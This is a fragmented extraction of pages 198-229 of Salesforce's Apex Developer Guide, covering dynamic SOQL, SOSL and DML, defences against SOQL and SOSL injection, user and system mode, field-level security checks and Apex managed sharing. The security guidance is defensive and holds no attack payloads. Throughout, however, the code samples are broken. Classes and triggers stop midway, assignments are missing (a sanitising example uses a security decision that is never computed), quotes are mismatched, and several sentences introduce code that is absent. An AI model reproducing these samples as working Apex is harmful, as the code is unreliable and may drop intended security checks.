//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
Schema.describeDataCategoryGroupStructures(pairs, false);
198
Apex Developer Guide Working with Data in Apex
categoriesClone.addAll(category.getChildCategories());
allCategories.addAll(getAllCategories(categoriesClone));
return allCategories;
}
}
}
This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group,
categories and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupStructuresTest {
public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
199
Apex Developer Guide Working with Data in Apex
System.assert(describeResult.size() == 2,
'The results should only contain 2 results: ' + describeResult.size());
200
Apex Developer Guide Working with Data in Apex
Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at run time with Apex code. Dynamic SOQL enables you to create more flexible
applications. For example, you can create a search based on input from an end user or update records with varying field names.
To create a dynamic SOQL query at run time, use the Database.query or Database.queryWithBinds methods, in one
of the following ways.
• Return a single sObject when the query returns a single record:
sObject s = Database.query(string);
• Return a list of sObjects when the query returns more than a single record:
The Database.query and Database.queryWithBinds methods can be used wherever an inline SOQL query can be used,
such as in regular assignment statements and for loops. The results are processed in much the same way as static SOQL queries are
processed.
With API version 55.0 and later, as part of the User Mode for Database Operations feature, use the accessLevel parameter to run
the query operation in user or system mode. The accessLevel parameter specifies whether the method runs in system mode
(AccessLevel.SYSTEM_MODE) or user mode (AccessLevel.USER_MODE). In system mode, the object and field-level
permissions of the current user are ignored, and the record sharing rules are controlled by the class sharing keywords. In user mode, the
object permissions, field-level security, and sharing rules of the current user are enforced. System mode is the default.
Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data
type. At run time, the system validates that the type of the query matches the declared type of the variable. If the query doesn’t return
the correct sObject type, a run-time error is thrown. Therefore, you don’t have to cast from a generic sObject to a concrete sObject.
Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 322.
For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the SOQL and SOSL Reference.
201
Apex Developer Guide Working with Data in Apex
However, unlike inline SOQL, you can’t use bind variable fields in the query string with Database.query. The following example
isn’t supported and results in a Variable does not exist error.
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= :myVariable.field1__c');
You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:
String resolvedField1 = myVariable.field1__c;
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= :resolvedField1');
(API version 57.0 and later) Another option is to use the Database.queryWithBinds method. With this method, bind variables
in the query are resolved from a Map parameter directly with a key, rather than from Apex code variables. This removes the need for the
variables to be in scope when the query is executed. This example shows a SOQL query that uses a bind variable for an Account name;
its value is passed in with the acctBinds Map.
Map<String, Object> acctBinds = new Map<String, Object>{'acctName' => 'Acme Corporation'};
List<Account> accts =
Database.queryWithBinds('SELECT Id FROM Account WHERE Name = :acctName',
acctBinds,
AccessLevel.USER_MODE);
These considerations apply when using the Map parameter in the Database.queryWithBinds method:
• Although map keys of type String are case-sensitive,the queryWithBinds method doesn’t support Map keys that differ only
in case. In a queryWithBinds method, comparison of Map keys is case-insensitive. If duplicate Map keys exist, the method
throws a runtime QueryException. This example throws this runtime exception: System.QueryException: The
bindMap consists of duplicate case-insensitive keys: [Acctname, acctName].
• Map keys must follow naming standards: they must start with an ASCII letter, can’t start with a number, must not use reserved
keywords, and must adhere to variable naming requirements.
• Although currently supported, Salesforce recommends against using the dot notation with Map keys.
SOQL Injection
SOQL injection is a technique by which a user causes your application to execute database methods you didn’t intend by passing SOQL
statements into your code. This can occur in Apex code whenever your application relies on end-user input to construct a dynamic SOQL
statement and you don’t handle the input properly.
202
Apex Developer Guide Working with Data in Apex
To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
SEE ALSO:
Apex Reference Guide: System.Database Methods
Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at run time with Apex code. Dynamic SOSL enables you to create more flexible
applications. For example, you can create a search based on input from an end user, or update records with varying field names.
To create a dynamic SOSL query at run time, use the search query method. For example:
List<List<SObject>>searchList=search.query(searchquery);
Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type.
The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the
results from Account are first, then Contact, then Lead.
The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOSL queries are processed.
Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 322.
For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the SOQL and SOSL Reference.
203
Apex Developer Guide Working with Data in Apex
This example exercises a simple SOSL query string that includes a WITH SNIPPET clause. The example calls System.debug()
to print the returned titles and snippets. Your code would display the titles and snippets in a Web page.
Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\')
WITH SNIPPET (target_length=120)');
SOSL Injection
SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL
statements into your code. A SOSL injection can occur in Apex code whenever your application relies on end-user input to construct a
dynamic SOSL statement and you do not handle the input properly.
To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert
them into the database using DML.
To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a
concrete sObject type (such as Account). For example:
// Get a new account
Account a = new Account();
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();
Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast
back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and
Casting on page 113.
You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later. For
example:
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
newSObject([SELECT Id FROM Account LIMIT 1][0].Id);
204
Apex Developer Guide Working with Data in Apex
@isTest
private class DynamicSObjectCreationTest {
static testmethod void testObjectCreation() {
String typeName = 'Account';
String acctName = 'Acme';
205
Apex Developer Guide Working with Data in Apex
The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the
anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any
sObject.
Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.
There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent
sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always
returns a parent object with a populated ID. If you have an ID, use it with the child object.
For example, suppose that custom object C1 has a foreign key C2__c that links to a parent custom object C2. You want to create a C1
object and have it associated with a C2 record named 'AW Computing' (assigned to the value C2__r). You do not need the ID of the
'AW Computing' record, as it is populated through the relationship of parent to child. For example:
insert new C1__c(Name = 'x', C2__r = new C2__c(Name = 'AW Computing'));
If you had assigned a value to the ID for C2__r, it would be ignored. If you do have the ID, assign it to the object (C2__c), not the
record.
You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a
parent-to-child relationship using dynamic Apex:
String queryString = 'SELECT Id, Name, ' +
'(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
206
Apex Developer Guide Working with Data in Apex
Note: Apex code that is executed with the executeAnonymous call and Connect in Apex always execute using the sharing
rules of the current user. For more information on executeAnonymous, see Anonymous Blocks on page 240.
Apex developers must take care not to inadvertently expose sensitive data that would normally be hidden from users by user permissions,
field-level security, or organization-wide defaults. They must be particularly careful with Web services, which can be restricted by
permissions, but execute in system context once they’re initiated.
Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need
access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that
apply to the current user.
Note: Enforcing sharing rules by using the with sharing keyword doesn’t enforce the user's permissions and field-level
security. Apex always has access to all fields and objects in an organization, ensuring that code won’t fail to run because of fields
or objects that are hidden from a user.
207
Apex Developer Guide Working with Data in Apex
This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesn’t. The CWithout
class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner class, in which code
executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its without sharing setting.
public with sharing class CWith {
// All code in this class operates with enforced sharing rules.
Account a = [SELECT . . . ];
static {
. . .
}
{
. . .
}
// Again, this call into CWith operates with enforced sharing rules
// for the context user, regardless of the class that initially called this inner
class.
// When the call finishes, the code execution returns to the sharing mode that was
used to call this inner class.
CWith.m();
}
208
Apex Developer Guide Working with Data in Apex
Warning: Because a class declared as with sharing can call a class declared as without sharing, you may still have
to implement class-level security. In addition, all SOQL and SOSL queries that use Pricebook2 ignore the with sharing
keyword. All price books are returned, regardless of the applied sharing rules.
Enforcing the current user's sharing rules can impact:
• SOQL and SOSL queries. A query may return fewer rows than it would operating in system context.
• DML operations. An operation may fail because the current user doesn't have the correct permissions. For example, if the user
specifies a foreign key value that exists in the organization, but which the current user doesn’t have access to.
To check the field-level create permission of the contact's email field before creating a new contact:
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
// Create new contact
}
209
Apex Developer Guide Working with Data in Apex
To check the field-level read permission of the contact's email field before querying for this field:
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}
To check the object-level permission for the contact before deleting the contact:
if (Schema.sObjectType.Contact.isDeletable()) {
// Delete contact
}
Sharing rules are distinct from object-level and field-level permissions. They can coexist. If sharing rules are defined in Salesforce, you
can enforce them at the class level by declaring the class with the with sharing keyword. For more information, see Using the
with sharing, without sharing, and inherited sharing Keywords. If you call the sObject describe result and field describe result access
control methods, the verification of object and field-level permissions is performed in addition to the sharing rules that are in effect.
Sometimes, the access level granted by a sharing rule could conflict with an object-level or field-level permission.
Considerations
• Orgs with Experience Cloud sites enabled provide various settings to hide a user's personal information from other users (see Manage
Personal User Information Visibility and Share Personal Contact Information Within Experience Cloud Sites). These settings aren’t
enforced in Apex, even with security features such as the WITH SECURITY_ENFORCED clause or the stripInaccessible
method. To hide specific fields on the User object in Apex, follow the example code outlined in Comply with a User’s Personal
Information Visibility Settings.
• Automated Process users can’t perform Object and FLS checks in custom code unless appropriate permission sets are explicitly
applied to those users.
Salesforce recommends that you enforce Field Level Security (FLS) by using WITH USER_MODE rather than WITH
SECURITY-ENFORCED because of these additional advantages.
• WITH USER_MODE accounts for polymorphic fields like Owner and Task.whatId.
• WITH USER_MODE processes all clauses in the SOQL SELECT statement including the WHERE clause.
• WITH USER_MODE finds all FLS errors in your SOQL query, while WITH SECURITY ENFORCED finds only the first error.
Further, in user mode, you can use the getInaccessibleFields() method on QueryException to examine the full set of
access errors.
210
Apex Developer Guide Working with Data in Apex
Database operations can specify either user or system mode. This example inserts a new account in user mode.
Account acc = new Account(Name='test');
insert as user acc;
The AccessLevel class represents the two modes in which Apex runs database operations. Use this class to define the execution
mode as user mode or system mode. An optional accessLevel parameter in Database and Search methods specifies whether the
method runs in system mode (AccessLevel.SYSTEM_MODE) or user mode (AccessLevel.USER_MODE). Use these overloaded
methods to perform DML and query operations.
• Database.query method. See Dynamic SOQL.
• Database.getQueryLocator methods
• Database.countQuery method
• Search.query method
• Database DML methods (insert, update, upsert, merge, delete, undelete, and convertLead)
– Includes the *Immediate and *Async methods, such as insertImmediate and deleteAsync.
Note: When Database DML methods are run with AccessLevel.USER_MODE, you can access errors via
SaveResult.getErrors().getFields(). With insert as user, you can use the DMLException method
getFieldNames() to obtain the fields with FLS errors.
These methods require the accessLevel parameter.
• Database.queryWithBinds
• Database.getQueryLocatorWithBinds
• Database.countQueryWithBinds
Using Permission Sets to Enforce Security in DML and Search Operations (Developer Preview)
In Developer Preview, you can specify a permission set that is used to augment the field-level and object-level security for database and
search operations. Run the AccessLevel.withPermissionSetId() method with a specified permission set ID. Specific user
mode DML operations that are performed with that AccessLevel, respect the permissions in the specified permission set, in addition
to the running user’s permissions.
This example runs the AccessLevel.withPermissionSetId() method with the specified permission set and inserts a
custom object.
@isTest
public with sharing class ElevateUserModeOperations_Test {
@isTest
static void objectCreatePermViaPermissionSet() {
Profile p = [SELECT Id FROM Profile WHERE Name='Minimum Access - Salesforce'];
User u = new User(Alias = 'standt', Email='[email protected]',
EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
LocaleSidKey='en_US', ProfileId = p.Id,
TimeZoneSidKey='America/Los_Angeles',
UserName='standarduser' + DateTime.now().getTime() + '@testorg.com');
System.runAs(u) {
try {
Database.insert(new Account(name='foo'), AccessLevel.User_mode);
Assert.fail();
} catch (SecurityException ex) {
211
Apex Developer Guide Working with Data in Apex
Assert.isTrue(ex.getMessage().contains('Account'));
}
//Get ID of previously created permission set named 'AllowCreateToAccount'
Id permissionSetId = [Select Id from PermissionSet
where Name = 'AllowCreateToAccount' limit 1].Id;
Database.insert(new Account(name='foo'),
AccessLevel.User_mode.withPermissionSetId(permissionSetId));
}
}
}
Note: Checkmarx, the AppExchange Security Review source code scanner, hasn’t been updated with this new Apex feature. Until
it’s updated, Checkmarx can generate false positives for field or object level security violations that require exception documentation.
Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
The field- and object-level data protection is accessed through the Security and SObjectAccessDecision classes. The access check is
based on the field-level permission of the current user in the context of the specified operation—create, read, update, or upsert. The
Security.stripInaccessible() method checks the source records for fields that don’t meet the field-level security check for the current user.
The method also checks the source records for lookup or master-detail relationship fields to which the current user doesn’t have access.
The method creates a return list of sObjects that is identical to the source records, except that the fields that are inaccessible to the
current user are removed. The sObjects returned by the getRecords method contain records in the same order as the sObjects in
the sourceRecords parameter of the stripInaccessible method.
The Security.stripInaccessible() method takes a permission set ID as a parameter and enforces field-level and object-level
access as per the specified permission set, in addition to the running user’s permissions.
Note: The ID field is never stripped by the stripInaccessible method to avoid issues when performing DML on the
result.
To identify inaccessible fields that were removed, you can use the SObject.isSet() method. For example, the return list contains the
Contact object and the custom field social_security_number__c is inaccessible to the user. Because this custom field fails the field-level
access check, the field isn’t set and isSet returns false.
SObjectAccessDecision securityDecision = Security.stripInaccessible(AccessType.READABLE,
sourceRecords);
212
Apex Developer Guide Working with Data in Apex
Contact c = securityDecision.getRecords()[0];
System.debug(c.isSet('social_security_number__c')); // prints "false"
Note: The stripInaccessible method doesn’t support AggregateResult SObject. If the source records are of AggregateResult
SObject type, an exception is thrown.
To enforce object and field permissions on the User object and hide a user’s personal information from other users in orgs with Experience
Cloud sites, see Enforcing Object and Field Permissions.
The following are some examples where the stripInaccessible method can be used.
Example: This example code removes inaccessible fields from the query result. A display table for campaign data must always
show the BudgetedCost. The ActualCost must be shown only to users who have permission to read that field.
SObjectAccessDecision securityDecision =
Security.stripInaccessible(AccessType.READABLE,
[SELECT Name, BudgetedCost, ActualCost FROM Campaign]
);
Example: This example code removes inaccessible fields from the subquery result. The user doesn’t have permission to read the
Phone field of a Contacts object.
List<Account> accountsWithContacts =
[SELECT Id, Name, Phone,
(SELECT Id, LastName, Phone FROM Account.Contacts)
FROM Account];
213
Apex Developer Guide Working with Data in Apex
Example: This example code removes inaccessible fields from sObjects before DML operations. The user who doesn’t have
permission to create Rating for an Account can still create an Account. The method ensures that no Rating is set and doesn’t throw
an exception.
List<Account> newAccounts = new List<Account>();
Account a = new Account(Name='Acme Corporation');
Account b = new Account(Name='Blaze Comics', Rating=’Warm’);
newAccounts.add(a);
newAccounts.add(b);
Example: This example code sanitizes sObjects that have been deserialized from an untrusted source. The user doesn’t have
permission to update the AnnualRevenue of an Account.
String jsonInput =
'[' +
'{' +
'"Name": "InGen",' +
'"AnnualRevenue": "100"' +
'},' +
'{' +
'"Name": "Octan"' +
'}' +
']';
// Secure update
update securityDecision.getRecords(); // Doesn’t update AnnualRevenue field
System.debug(String.join(securityDecision.getRemovedFields().get('Account'), ', '));
// Prints "AnnualRevenue"
System.debug(String.join(securityDecision.getModifiedIndexes(), ', ')); // Prints "0”
214
Apex Developer Guide Working with Data in Apex
Example: This example code removes inaccessible relationship fields from the query result. The user doesn’t have permission to
insert the Account__c field, which is a lookup from MyCustomObject__c to Account.
// Account__c is a lookup from MyCustomObject__c to Account
@IsTest
public class TestCustomObjectLookupStripped {
@IsTest static void caseCustomObjectStripped() {
Account a = new Account(Name='foo');
insert a;
List<MyCustomObject__c> records = new List<MyCustomObject__c>{
new MyCustomObject__c(Name='Custom0', Account__c=a.id)
};
insert records;
records = [SELECT Id, Account__c FROM MyCustomObject__c];
SObjectAccessDecision securityDecision = Security.stripInaccessible
(AccessType.READABLE, records);
SEE ALSO:
Apex Reference Guide: AccessType Enum
Apex Reference Guide: Security Class
Apex Reference Guide: SObjectAccessDecision Class
Note: The WITH SECURITY_ENFORCED clause is only available in Apex. We don’t recommend using WITH
SECURITY_ENFORCED in Apex classes or triggers with an API version earlier than 45.0.
WITH SECURITY_ENFORCED applies field- and object-level security checks only to fields and objects referenced in SELECT or
FROM SOQL clauses and not clauses like WHERE or ORDER BY. In other words, security is enforced on what the SOQL SELECT
query returns, not on all the elements that go into running the query.
215
Apex Developer Guide Working with Data in Apex
There are some restrictions while querying polymorphic lookup fields using WITH SECURITY_ENFORCED. Polymorphic fields are
relationship fields that can point to more than one entity.
• Traversing a polymorphic field’s relationship is not supported in queries using WITH SECURITY_ENFORCED. For example, you
cannot use WITH SECURITY_ENFORCED in this query, which returns the Id and Owner names for User and Calendar entities:
SELECT Id, What.Name FROM Event WHERE What.Type IN (’User’,’Calendar’).
• Using TYPEOF expressions with an ELSE clause is not supported in queries using WITH SECURITY_ENFORCED. TYPEOF
is used in a SELECT query to specify the fields to be returned for a given type of a polymorphic relationship. For example, you cannot
use WITH SECURITY_ENFORCED in this query. The query specifies certain fields to be returned for Account and Opportunity
objects, and Name and Email fields to be returned for all other objects.
SELECT
TYPE OF What
WHEN Account THEN Phone
WHEN Opportunity THEN Amount
ELSE Name,Email
END
FROM Event
• The Owner, CreatedBy, and LastModifiedBy polymorphic lookup fields are exempt from this restriction, and do allow
polymorphic relationship traversal.
• For AppExchange Security Review, you must use API version 48.0 or later when using WITH SECURITY_ENFORCED. You cannot
use API versions where the feature was in beta or pilot.
If any fields or objects referenced in the SOQL SELECT query using WITH SECURITY_ENFORCED are inaccessible to the user,
a System.QueryException is thrown, and no data is returned.
To enforce object and field permissions on the User object and hide a user’s personal information from other users in orgs with Experience
Cloud sites, see Enforcing Object and Field Permissions.
Example: If field access for either LastName or Description is hidden, this query throws an exception indicating insufficient
permissions.
List<Account> act1 = [SELECT Id, (SELECT LastName FROM Contacts),
(SELECT Description FROM Opportunities)
FROM Account WITH SECURITY_ENFORCED]
Example: If field access for Website is hidden, this query throws an exception indicating insufficient permissions.
List<Account> act2 = [SELECT Id, parent.Name, parent.Website
FROM Account WITH SECURITY_ENFORCED]
216
Apex Developer Guide Working with Data in Apex
Example: If field access for Type is hidden, this aggregate function query throws an exception indicating insufficient permissions.
List<AggregateResult> agr1 = [SELECT GROUPING(Type)
FROM Opportunity WITH SECURITY_ENFORCED
GROUP BY Type]
Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can
only set security on Apex classes, not on triggers.
To set Apex class security from the class list page, seeSet Apex Class Access from the Class List Page
To set Apex class security from the class detail page, see Set Apex Class Access from the Class List Page
To set Apex class security from a permission set:
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
2. Select a permission set.
3. Click Apex Class Access.
4. Click Edit.
5. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
To set Apex class security from a profile:
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Apex Class Access page or related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.
Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact,
Opportunity and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional
access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed
sharing to grant additional access programmatically with Apex.
Sharing a Record Using Apex
Recalculating Apex Managed Sharing
217
Apex Developer Guide Working with Data in Apex
Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity
and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional access based on
record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant
additional access programmatically with Apex.
Most sharing for a record is maintained in a related sharing object, similar to an access control list (ACL) found in other platforms.
Types of Sharing
Salesforce has the following types of sharing:
Managed Sharing
Managed sharing involves sharing access granted by Lightning Platform based on record ownership, the role hierarchy, and sharing
rules:
Record Ownership
Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is automatically
granted Full Access, allowing them to view, edit, transfer, share, and delete the record.
Role Hierarchy
The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or
shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access
to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing
records. Instead, role hierarchy access is derived at runtime. For more information, see “Controlling Access Using Hierarchies” in
the Salesforce online help.
Sharing Rules
Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a
specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed
from AppExchange.
Sharing rules can be based on record ownership or other criteria. You can’t use Apex to create criteria-based sharing rules. Also,
criteria-based sharing cannot be tested using Apex.
All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API,
or Apex.
User Managed Sharing, also known as Manual Sharing
User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of
users. This is generally done by an end user, for a single record. Only the record owner and users above the owner in the role hierarchy
are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the “Modify All Records” object-level
permission for the given object or the “Modify All Data” permission can also manually share a record. User managed sharing is
removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the
object's organization-wide sharing default access level.
Apex Managed Sharing
Apex managed sharing provides developers with the ability to support an application’s particular sharing requirements
programmatically through Apex or the SOAP API. This type of sharing is similar to managed sharing. Only users with “Modify All
Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner
changes.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
218
Apex Developer Guide Working with Data in Apex
Owner Owner
The displayed reason for Apex managed sharing is defined by the developer.
Access Levels
When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the following
access levels:
219
Apex Developer Guide Working with Data in Apex
Read Only Read The specified user or group can view the record only.
Read/Write Edit The specified user or group can view and edit the record.
Full Access All The specified user or group can view, edit, transfer, share, and delete the record.
Note: This access level can only be granted with managed sharing.
Sharing Considerations
Apex Triggers and User Record Sharing
If a trigger changes the owner of a record, the running user must have read access to the new owner’s user record if the trigger is
started through the following:
• API
• Standard user interface
• Standard Visualforce controller
• Class defined with the with sharing keyword
If a trigger is started through a class that’s not defined with the with sharing keyword, the trigger runs in system mode. In
this case, the trigger doesn’t require the running user to have specific access.
220
Apex Developer Guide Working with Data in Apex
Note: The All access level is an internal value and can’t be granted.
This field must be set to an access level that’s higher than the organization’s default access level for
the parent object. For more information, see Understanding Sharing on page 218.
RowCause The reason why the user or group is being granted access. The reason determines the type of sharing,
which controls who can alter the sharing record. This field can’t be updated.
UserOrGroupId The user or group IDs to which you’re granting access. A group can be:
• A public group or a sharing group associated with a role.
• A territory group.
This field can’t be updated.
Note: You can't grant access to unauthenticated guest users using Apex.
You can share a standard or custom object with users or groups. For more information about the types of users and groups you can
share an object with, see User and Group in the Object Reference for Salesforce.
Note: Manual shares written using Apex contains RowCause="Manual" by default. Only shares with this condition are
removed when ownership changes.
public class JobSharing {
221
Apex Developer Guide Working with Data in Apex
@isTest
private class JobSharingTest {
// Test for the manualShareRead method
static testMethod void testManualShareRead(){
// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
Id User1Id = users[0].Id;
Id User2Id = users[1].Id;
222
Apex Developer Guide Working with Data in Apex
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 218.
Schema.CustomObject__Share.rowCause.SharingReason__c
For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c
223
Apex Developer Guide Working with Data in Apex
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
if(trigger.isInsert){
// Create a new list of sharing objects for Job
List<Job__Share> jobShrs = new List<Job__Share>();
// Set the Apex sharing reason for hiring manager and recruiter
recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
224
Apex Developer Guide Working with Data in Apex
jobShrs.add(hmShr);
}
// Create counter
Integer i=0;
// acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&&
err.getMessage().contains('AccessLevel'))){
// Throw an error when the error is not related to trivial access
level.
trigger.newMap.get(jobShrs[i].ParentId).
addError(
'Unable to grant sharing access due to following exception: '
+ err.getMessage());
}
}
i++;
}
}
Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples:
• A manual share access level is set to Read and you insert a new one set to Write. The original share rows are updated to Write,
indicating the higher level of access.
• Users can access an account because they can access its child records (contact, case, opportunity, and so on). If an account sharing
rule is created, the sharing rule row cause (which is a higher access level) replaces the parent implicit share row cause, indicating
the higher level of access.
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 218.
225
Apex Developer Guide Working with Data in Apex
Warning: After enabling digital experiences, records accessible to Roles and Subordinates via Apex managed sharing are
automatically made accessible to Roles, Internal, and Portal Subordinates. To secure external users’ access, update your Apex code
so that it creates shares to the Role and Internal Subordinates group. Because this conversion is a large-scale operation, consider
using batch Apex.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need
to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined
by the application’s logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed sharing
recalculation.
Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes
defined for associated custom object are also executed.
To monitor or stop the execution of the Apex recalculation, from Setup, enter Apex Jobs in the Quick Find box, then select
Apex Jobs.
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 218.
226
Apex Developer Guide Working with Data in Apex
// The executeBatch method is called for each chunk of records returned from start.
// Locate all existing sharing records for the Job records in the batch.
// Only records using an Apex sharing reason for this app should be returned.
List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN
:jobMap.keySet() AND
(RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];
// Construct new sharing records for the hiring manager and recruiter
// on each Job record.
for(Job__c job : jobMap.values()){
Job__Share jobHMShr = new Job__Share();
Job__Share jobRecShr = new Job__Share();
// Set the ID of user (hiring manager) on the Job record being granted access.
jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
// The hiring manager on the job should always have 'Read Only' access.
jobHMShr.AccessLevel = 'Read';
// Set the rowCause to the Apex sharing reason for hiring manager.
227
Apex Developer Guide Working with Data in Apex
// Set the ID of user (recruiter) on the Job record being granted access.
jobRecShr.UserOrGroupId = job.Recruiter__c;
try {
// Delete the existing sharing records.
// This allows new sharing records to be written from scratch.
Delete oldJobShrs;
// Insert the new sharing records and capture the save result.
// The false parameter allows for partial processing if multiple records are
// passed into operation.
Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
// is acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&& err.getMessage().contains('AccessLevel'))){
// Error is not related to trivial access level.
// Send an email to the Apex job's submitter.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
228
Apex Developer Guide Working with Data in Apex
err.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
}
} catch(DmlException e) {
// Send an email to the Apex job's submitter on failure.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
e.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
229
Apex Developer Guide Working with Data in Apex
ID User1Id = users[0].Id;
ID User2Id = users[1].Id;
Test.startTest();
Test.stopTest();
// This query returns jobs and related sharing records that were inserted
